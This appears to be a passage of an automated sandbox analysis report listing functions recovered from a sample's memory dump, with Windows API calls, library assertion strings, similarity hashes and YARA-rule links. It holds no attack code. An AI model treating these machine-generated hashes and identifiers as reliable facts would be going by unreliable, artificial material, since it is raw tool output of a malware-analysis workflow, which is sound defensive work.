_strlen.LIBCMT ref: 008B6789
__Init_thread_header.LIBCMT ref: 008B67E9

Part of subcall function 008B6A20: _strlen.LIBCMT ref: 008B6A31

Strings

..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008B67D5

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock_strlen$AcquireInit_thread_headerRelease
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length
API String ID: 539046703-3833978849
Opcode ID: e85a97af69d8833119fae98a47759ed62ed8859128694acc39b640742b7165cf
Instruction ID: 0ed0f0ca40285167c49522fb9dfe33e35efa79063bc97c29db705dc0cfbde0c3
Opcode Fuzzy Hash: e85a97af69d8833119fae98a47759ed62ed8859128694acc39b640742b7165cf
Instruction Fuzzy Hash: FA515C76A08218CBCB14DF78C891ABAB7B1FB94718F04422DD806D7391EB75AC61CBC1

Function 00922E87 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0092283D,00000002,00000000,?,?,?,0092283D,?,00000000), ref: 00922F20
GetLocaleInfoW.KERNEL32(?,20001004,0092283D,00000002,00000000,?,?,?,0092283D,?,00000000), ref: 00922F49
GetACP.KERNEL32(?,?,0092283D,?,00000000), ref: 00922F5E

Strings

OCP, xrefs: 00922EDB
ACP, xrefs: 00922EA5

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d4663edff454d354cad3cd0ff536203d1ef7fa89c5fb96d2dbdb1d5c9a82fc25
Instruction ID: aa7cb8a88ff551325235d93f53c9eb4ac3729de9b723bb612620fc23f61406bf
Opcode Fuzzy Hash: d4663edff454d354cad3cd0ff536203d1ef7fa89c5fb96d2dbdb1d5c9a82fc25
Instruction Fuzzy Hash: 7F21C822704220B6D7349F54EE01BEB73BEEB54B60B968424E90AD710CE732DE41D750

Function 0085ED70 Relevance: 7.9, APIs: 5, Instructions: 387synchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0085EE9D
WaitForSingleObject.KERNEL32(?,00000000,?,000003E8,00000000,?,?,?,00000000), ref: 0085EF1A
GetTickCount.KERNEL32 ref: 0085EF3B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CountTick$ObjectSingleWait
String ID:
API String ID: 2051767920-0
Opcode ID: c7b49f7d7eeb94fd20d9c1eaac68312dd8e782366e980fdc3fed70d126be150f
Instruction ID: 3440387a194f92ab63516b9d2a61436678e1cc558d4a8553d44820b9d594f37e
Opcode Fuzzy Hash: c7b49f7d7eeb94fd20d9c1eaac68312dd8e782366e980fdc3fed70d126be150f
Instruction Fuzzy Hash: 36E1E371A10618CFDB15DF64C880AAEBBB1FF89305F188269ED49E7352DB30AD49CB41

Function 008B2270 Relevance: 7.8, Strings: 6, Instructions: 304COMMON

Download Yara Rule

Strings

true, xrefs: 008B2565, 008B37A6, 008B37EA, 008B3832
false, xrefs: 008B2560, 008B37AB
null, xrefs: 008B2345, 008B2353, 008B247F, 008B3724, 008B375C, 008B376A
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B30DE, 008B386C
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008B25F7, 008B29F8, 008B30D7, 008B3873
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B30E5, 008B3865

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$false$null$true
API String ID: 0-2153852974
Opcode ID: 90cf9932baf5c92c926463e9123555941bd9c35427f33e640b439bbc1fb2a7ad
Instruction ID: 6c47e96d5093db847d9a4071de14da6c1baf5d280fd5bb5e8252f25791e3db14
Opcode Fuzzy Hash: 90cf9932baf5c92c926463e9123555941bd9c35427f33e640b439bbc1fb2a7ad
Instruction Fuzzy Hash: C6B16771B042448FDB24DF28C855BEEBBE2FF96304F14892CE446EB792D674A841C751

Function 00922707 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0092280F
IsValidCodePage.KERNEL32(00000000), ref: 0092284D
IsValidLocale.KERNEL32(?,00000001), ref: 00922860
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 009228A8
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 009228C3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: bec5a48ca5e0676edf898c4bcaa50a7583b0f77221e58692007e0b741c5bb4d4
Instruction ID: 38fd256ad4a4a5aaab92e35ec558952d68cdf8ed07d08d7936a9c99102f974c1
Opcode Fuzzy Hash: bec5a48ca5e0676edf898c4bcaa50a7583b0f77221e58692007e0b741c5bb4d4
Instruction Fuzzy Hash: 1A517C71A0422ABBDB20EFA5EC41BBA77BCBF48300F544469F901EB195E770DA40DB61

Function 0089AD80 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 0089ADD2
GetVersionExW.KERNEL32(?), ref: 0089AE08
GetProductInfo.KERNEL32(?,?,00000000,00000000,?), ref: 0089AE1F
__Init_thread_header.LIBCMT ref: 0089AE7B

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

GetNativeSystemInfo.KERNEL32(0096599C), ref: 0089AEAC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalInfoInit_thread_headerSection$EnterLeaveNativeProductSystemVersion
String ID:
API String ID: 4213586224-0
Opcode ID: 498c7b346f11009e1504112c9a91d35df2950784334492ae2b4af96f9ebface7
Instruction ID: 37671aa5375ce38ee6d7195dc072eb73a65f3e38fd6b2261c2610c77bbf9dc05
Opcode Fuzzy Hash: 498c7b346f11009e1504112c9a91d35df2950784334492ae2b4af96f9ebface7
Instruction Fuzzy Hash: EC3138B1904A04DFDB20EB24EC46BAE7770FF85738F864229F50986291D7712954DFD2

Function 00858230 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,0083EC4F,?,?,00000001,?,00858325,0083EC4F,BIN,?,0083EC4F,?,?), ref: 00858247
FindResourceW.KERNEL32(00000000,0083EC4F,00858325,?,00858325,0083EC4F,BIN,?,0083EC4F,?,?,?,?,?,?,00976000), ref: 00858254
LoadResource.KERNEL32(00000000,00000000,?,00858325,0083EC4F,BIN,?,0083EC4F,?,?,?,?,?,?,00976000), ref: 00858262
LockResource.KERNEL32(00000000,?,00858325,0083EC4F,BIN,?,0083EC4F,?,?,?,?,?,?,00976000), ref: 0085826F
SizeofResource.KERNEL32(00000000,00000000,?,00858325,0083EC4F,BIN,?,0083EC4F,?,?,?,?,?,?,00976000), ref: 008582C4

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Resource$FindHandleLoadLockModuleSizeof
String ID:
API String ID: 1601749889-0
Opcode ID: 2f49a6ebe5b01632a28a9c2daa3180aff2191a39c6457ee8fe7b01ea7101b831
Instruction ID: a38ba5b81111365b994bcfd3bcbcfecbb803bd4e56be5a56b1baeb24a54a873f
Opcode Fuzzy Hash: 2f49a6ebe5b01632a28a9c2daa3180aff2191a39c6457ee8fe7b01ea7101b831
Instruction Fuzzy Hash: F0119DB0A14305AFDB149B799C4493B7BA9FB88356B14852DE80AD7300EB30DC15DBA0

Function 00852960 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 224COMMON

Download Yara Rule

APIs

AccessibleObjectFromWindow.OLEACC(?,FFFFFFFC,00933020,?,?,00000000,00000028,?,?,0084C8C9,?), ref: 00852A3A
LresultFromObject.OLEACC(00933020,?,?), ref: 00852BA6

Strings

..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 00852A67
=, xrefs: 00852B82

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FromObject$AccessibleLresultWindow
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$=
API String ID: 133265567-2330902163
Opcode ID: 24c4aa5ecf133a706d855f30ff5bf4b8636b4cdb1f5d4519e6746bc6317862ee
Instruction ID: 28de1ec8f2319d4cb4c02581b86ab08b574d1c5b744fe1170d6dead0991c6a2a
Opcode Fuzzy Hash: 24c4aa5ecf133a706d855f30ff5bf4b8636b4cdb1f5d4519e6746bc6317862ee
Instruction Fuzzy Hash: C8710871B0020A8BCB18CF65C891A6BB7E6FF95721B14C53EEC16DB251DB30E954CB51

Function 00878530 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00878538
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00878544

Strings

kernel32.dll, xrefs: 00878533
GetSystemTimePreciseAsFileTime, xrefs: 0087853E

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 1646373207-706389432
Opcode ID: afea8cbbbb29af8f8a65266dd0d40ae631b44b655202e28b5dab8aa0514eb11c
Instruction ID: 689c2e7e31511c5cd20734fad5a22b63c7e8fb16cd86af641cabc46adb176655
Opcode Fuzzy Hash: afea8cbbbb29af8f8a65266dd0d40ae631b44b655202e28b5dab8aa0514eb11c
Instruction Fuzzy Hash: CED012306AC3049BC600BFE7BC09D15776CEA5571A3008415FC0CC2261EFB0D4006F50

Function 0596A2A4 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e113a31e7206689e99cb9e3f8a5aa9fab270fba3d520fb0f91db4a2b51985d
Instruction ID: 295cdf23544b400d2ee7032dafe5bafdd3bbffdf0894043fa305ec7804faf6ef
Opcode Fuzzy Hash: e2e113a31e7206689e99cb9e3f8a5aa9fab270fba3d520fb0f91db4a2b51985d
Instruction Fuzzy Hash: EF024A71E01219DBDF14CFA8C984AAEBBF5FF88314F248269D919B7340D731AA45CB90

Function 008A0B30 Relevance: 6.4, APIs: 4, Instructions: 364COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,-00000001,?,?,?,0089EF51,00000065,?,?,00000000), ref: 008A0BC9
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,-00000001,?,?,?,0089EF51,00000065,?,?,00000000), ref: 008A0D71

Part of subcall function 0089FB70: GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 0089FBEC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentDirectoryRelease
String ID:
API String ID: 904961151-0
Opcode ID: dfef3128f9ba98c4ed56ab5a7195381f84dd1cd9a485a1152165da6fd83ffa7d
Instruction ID: 05d55b2d7296427bbd825f0eb7d3178b52476d29438a4ed8925426d0c8e8dcd8
Opcode Fuzzy Hash: dfef3128f9ba98c4ed56ab5a7195381f84dd1cd9a485a1152165da6fd83ffa7d
Instruction Fuzzy Hash: A2C1B471F016099BEF14DF98D881AAEB7B2FF86314F188129E805EB741DB31AD46CB51

Function 009002E4 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009002F0
IsDebuggerPresent.KERNEL32 ref: 009003BC
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009003DC
UnhandledExceptionFilter.KERNEL32(?), ref: 009003E6

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c30b93f59c3aa5842c6f2380cb6ddfab6acfb5309d6a7afa028bf5a0c776a350
Instruction ID: bd41b040d3dda250cca3478148f4fd3f8b42b53f36b0a8d8800b65475e93cb2a
Opcode Fuzzy Hash: c30b93f59c3aa5842c6f2380cb6ddfab6acfb5309d6a7afa028bf5a0c776a350
Instruction Fuzzy Hash: 7B310775D5531D9FDF11EFA4D9897CDBBB8AF48300F1041AAE40DAB290EB705A848F44

Function 008C8DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?), ref: 008C8E45
TryAcquireSRWLockExclusive.KERNEL32(?), ref: 008C8EAA

Strings

MZx, xrefs: 008C8FC3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: MZx
API String ID: 17069307-2575928145
Opcode ID: 38f951f3617cf1f0368a9a6131350ef475552ccca4962e86c9801a353f4a1036
Instruction ID: 2d68ba702f09733fca8c023f24ce9776b7977c439dfa793ac1efc35e07ba6bec
Opcode Fuzzy Hash: 38f951f3617cf1f0368a9a6131350ef475552ccca4962e86c9801a353f4a1036
Instruction Fuzzy Hash: FF519E72E64609CBCB14CE99D841BAEB7B6FB88324F18812DE505EB345DF31ED418B91

Function 009007FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00900810
GetSystemInfo.KERNEL32(?), ref: 0090082B

Strings

D, xrefs: 0090081F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 4370428e8dc902d0f549dc5b7c093f8a87338ee4b3557be5732263a94eebbb8d
Instruction ID: 2c62b227c6ad49797e33484d73c9aa50dc51d90dd5acc1fe7536bc54ea26752b
Opcode Fuzzy Hash: 4370428e8dc902d0f549dc5b7c093f8a87338ee4b3557be5732263a94eebbb8d
Instruction Fuzzy Hash: 31018472A00209AFDB14DE29DC05BEE7BADAFC4325F09C225AD59D7295EA34D941CAC0

Function 00870C80 Relevance: 5.0, APIs: 3, Instructions: 535COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00870D16
__aulldiv.LIBCMT ref: 00870EAE
__aulldiv.LIBCMT ref: 00871016

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 5c729f36e4ecaf77eefd001a93e89cb39bd6a4eb122de4a27d8e4f7d4a517b0e
Instruction ID: ccdd2a2ff945950afa90c8eb7dd3a8fb719404e3714468f5a20df315bdd0d404
Opcode Fuzzy Hash: 5c729f36e4ecaf77eefd001a93e89cb39bd6a4eb122de4a27d8e4f7d4a517b0e
Instruction Fuzzy Hash: 2D226B71A002099FCB18CF58C484AADB7F6FF88314B15C569E549EB3A5DB70AD44CFA4

Function 00922A00 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00922A54
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00922A9E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00922B64

